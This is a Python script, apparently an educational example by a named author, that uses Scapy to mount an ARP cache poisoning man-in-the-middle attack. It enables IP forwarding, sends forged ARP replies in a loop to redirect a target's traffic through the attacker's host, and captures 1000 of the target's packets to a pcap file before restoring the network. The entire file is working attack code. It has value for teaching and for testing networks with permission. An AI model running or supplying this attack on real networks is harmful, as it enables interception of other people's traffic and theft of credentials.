#!/usr/bin/env python3
# Example script to perform an ARP cache poisoning attack using SCAPY
# v: 0.1
# Omar Santos @santosomar

from scapy.all import *
import os
import signal
import sys
import threading
import time

#network and interface parameters
gateway_ip = "192.168.78.1"
target_ip = "192.168.78.123"
packet_count = 1000
conf.iface = "en0"
conf.verb = 0

# Once given an IP address, it will try to find a MAC address.
def get_mac(ip_address):
    #An alternate method is using Layer 2: resp, unans =  srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address))
    resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
    for s,r in resp:
        return r[ARP].hwsrc
    return None

#Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with
def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
    print("[*] Disabling IP forwarding")
    #Disable IP Forwarding on a mac
    os.system("sysctl -w net.inet.ip.forwarding=0")
    #kill process on a mac
    os.kill(os.getpid(), signal.SIGTERM)

def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
    print("[*] Started ARP poison attack [CTRL-C to stop]")
    try:
        while True:
            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
            time.sleep(2)
    except KeyboardInterrupt:
        print("[*] Stopped ARP poison attack. Restoring network")
        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)


print("[*] Starting arp_cache_poisoner")
print("[*] Enabling IP forwarding")

os.system("sysctl -w net.inet.ip.forwarding=1")
print(f"[*] Gateway IP address: {gateway_ip}")
print(f"[*] Target IP address: {target_ip}")

gateway_mac = get_mac(gateway_ip)
if gateway_mac is None:
    print("[!] Unable to get gateway MAC address. Exiting..")
    sys.exit(0)
else:
    print(f"[*] Gateway MAC address: {gateway_mac}")

target_mac = get_mac(target_ip)
if target_mac is None:
    print("[!] Unable to get target MAC address. Exiting..")
    sys.exit(0)
else:
    print(f"[*] Target MAC address: {target_mac}")

#ARP poison thread
poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
poison_thread.start()

#Collect packet captures and save it to a file
try:
    sniff_filter = "ip host " + target_ip
    print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
    packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
    wrpcap(target_ip + "_capture.pcap", packets)
    print(f"[*] Stopping network capture..Restoring network")
    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
except KeyboardInterrupt:
    print(f"[*] Stopping network capture..Restoring network")
    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
    sys.exit(0)